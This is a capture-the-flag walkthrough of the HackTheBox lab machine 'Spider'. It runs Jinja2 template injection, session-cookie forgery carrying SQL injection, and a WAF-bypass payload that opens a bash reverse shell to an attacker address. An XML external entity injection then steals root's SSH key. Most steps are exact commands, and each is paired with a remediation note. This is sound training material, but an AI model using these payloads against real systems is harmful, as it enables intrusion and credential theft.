Spider
Summary
I scanned $TARGET and discovered an nginx reverse proxy routing to spider.htb, which hosted a Flask furniture-shop application with UUID-based authentication. Registering a username containing a Jinja2 template expression caused the profile page to evaluate it server-side, exposing the Flask session-signing secret. That secret was used to forge session cookies whose UUID field was passed unsanitised into a SQL query, enabling a boolean-oracle attack that recovered the administrator account's UUID from the database.
A cookie forged with that UUID unlocked an admin support portal whose contact field contained a second, WAF-protected Jinja2 injection; a filter-bypass chain of hex-escaped Python dunder attributes via request|attr() achieved remote code execution and a reverse shell as the chiv user. Internal enumeration revealed a root-owned uWSGI beta application bound exclusively to 127.0.0.1:8080; SSH local port-forwarding exposed it to me. Its login form embedded user-supplied data into a base64-encoded XML session blob that lxml parsed with external entity resolution enabled.
Injecting a DOCTYPE external entity pointing at /root/.ssh/id_rsa caused the parser to expand it and return root's private key in the response, completing the takeover via SSH.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"
export SESSION_UUID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets (<forged-chiv-cookie>, <forged-sqli-cookie>, <session-cookie-value>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Identify open services and banners.
$ nmap -Pn -sV -p22,80 $TARGETRegister the virtual host for all subsequent requests.
$ echo "$TARGET spider.htb" | sudo tee -a /etc/hostsConfirm the Flask app, registration link, and that /user reflects the username.
$ curl -si http://spider.htb/ | head -60Exact commands 4
Register with {{7*7}} (URL-encoded) to test for SSTI.
$ curl -c /tmp/spider1.jar -s -X POST http://spider.htb/register -d "username=%7B%7B7%2A7%7D%7D&confirm_username=%7B%7B7%2A7%7D%7D&password=$PASSWORD"Confirm SSTI: response should contain 49, not the literal string {{7*7}}.
$ curl -b /tmp/spider1.jar -s http://spider.htb/user | grep -o '49'Register with {{config}} to dump the Flask configuration object including SECRET_KEY.
$ curl -c /tmp/spider2.jar -s -X POST http://spider.htb/register -d "username=%7B%7Bconfig%7D%7D&confirm_username=%7B%7Bconfig%7D%7D&password=$PASSWORD"Parse the SECRET_KEY value from the config dump response.
$ curl -b /tmp/spider2.jar -s http://spider.htb/user | grep -oP "SECRET_KEY.*?'[^']+'"FixRender user-supplied content as data, never as Jinja2 template codeCritical
Exact commands 4
Forge a cookie with a SQL injection payload in the uuid field; copy the output as the session= cookie value.
$ flask-unsign --sign --secret "$KEY" --cookie '{"cart_items":[],"uuid":"\' or 1=1 -- -"}'Confirm SQLi: homepage should reflect 'chiv' as the logged-in username.
$ curl -s -b "session=<forged-sqli-cookie>" http://spider.htb/ | grep -i 'chiv'Run a local Flask proxy (listens on 127.0.0.1:5001) that signs payloads with the recovered secret and forwards them to spider.htb.
$ python3 /tmp/spider_proxy.py &Drive sqlmap against the local proxy to extract the shop.users table and recover chiv's UUID.
$ sqlmap -u 'http://127.0.0.1:5001/' --cookie 'session=FUZZ' -p session --dbms mysql --technique B --level 2 --dump -T users -D shop --batchFixParameterise all SQL queries and rotate the Flask signing secretCritical
Exact commands 3
Forge a legitimate-looking session cookie for chiv's account using the recovered UUID.
$ flask-unsign --sign --secret "$KEY" --cookie '{"cart_items":[],"uuid":"'"$SESSION_UUID"'"}'Confirm admin dashboard access (expect HTTP 200 with portal content, not a redirect).
$ curl -s -b "session=<forged-chiv-cookie>" http://spider.htb/main | head -20Reach the support ticket portal and identify the contact-number input field.
$ curl -s -b "session=<forged-chiv-cookie>" http://spider.htb/$HEX_ID.unfinished.supportportalExact commands 5
Start the reverse-shell listener on my machine before submitting the payload.
$ nc -lvnp 4444Base64-encode the reverse shell to avoid WAF character restrictions; replace $ATTACKER_IP.
$ export B64=$(echo "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0)Submit the WAF-bypass SSTI payload; catch the shell in the nc listener.
$ curl -s -b "session=<forged-chiv-cookie>" -X POST "http://spider.htb/$HEX_ID.unfinished.supportportal" --data-urlencode "contact={%+ include request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo ${B64}|base64 -d|bash') +%}"Read the user flag from the chiv shell.
$ cat /home/chiv/user.txtCopy chiv's SSH private key for stable, pty-capable access to replace the fragile reverse shell.
$ cat /home/chiv/.ssh/id_rsaFixFix the second Jinja2 SSTI in the support portal and treat WAF rules as defence-in-depth onlyCritical
Exact commands 4
From the chiv shell: identify the root-owned uWSGI process and its config file (game.ini).
$ ps aux | grep uwsgiConfirm the service listens only on localhost port 8080.
$ ss -tulpnForward the internal service to my port 8888 using chiv's stolen SSH key; run in background.
$ chmod 600 /tmp/chiv_id_rsa && ssh -N -L 8888:127.0.0.1:8080 -i /tmp/chiv_id_rsa -o StrictHostKeyChecking=no chiv@$TARGETConfirm the forwarded beta application is reachable and examine its login form.
$ curl -si http://127.0.0.1:8888/FixRun the internal uWSGI beta application as a dedicated low-privilege accountHigh
Exact commands 4
Perform a baseline login to capture the session cookie structure.
$ curl -s -c /tmp/beta.jar -X POST http://127.0.0.1:8888/login -d 'username=test&version=1.0'Decode the base64 session blob to understand the XML structure before injecting.
$ python3 -c "import base64; print(base64.b64decode('<session-cookie-value>').decode())"Submit the XXE payload: version closes the comment and declares the entity; username references it as &test; (URL-encoded).
$ curl -s -c /tmp/beta2.jar -X POST http://127.0.0.1:8888/login --data-urlencode 'username=&test;' --data-urlencode 'version=--><!DOCTYPE foo [<!ENTITY test SYSTEM "file:///root/.ssh/id_rsa">]><!--'Retrieve the page that triggers entity expansion; root's private key should appear in the response body.
$ curl -s -b /tmp/beta2.jar http://127.0.0.1:8888/ | grep -A9999 'BEGIN RSA'FixDisable external entity resolution in the lxml XML parser and move session state server-sideCritical
Exact commands 2
Set permissions that SSH requires for a private-key file.
$ chmod 600 /tmp/root_spider.keyAuthenticate as root and read the root flag.
$ ssh -i /tmp/root_spider.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates, {{7*7}} returning 49 confirms it, escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.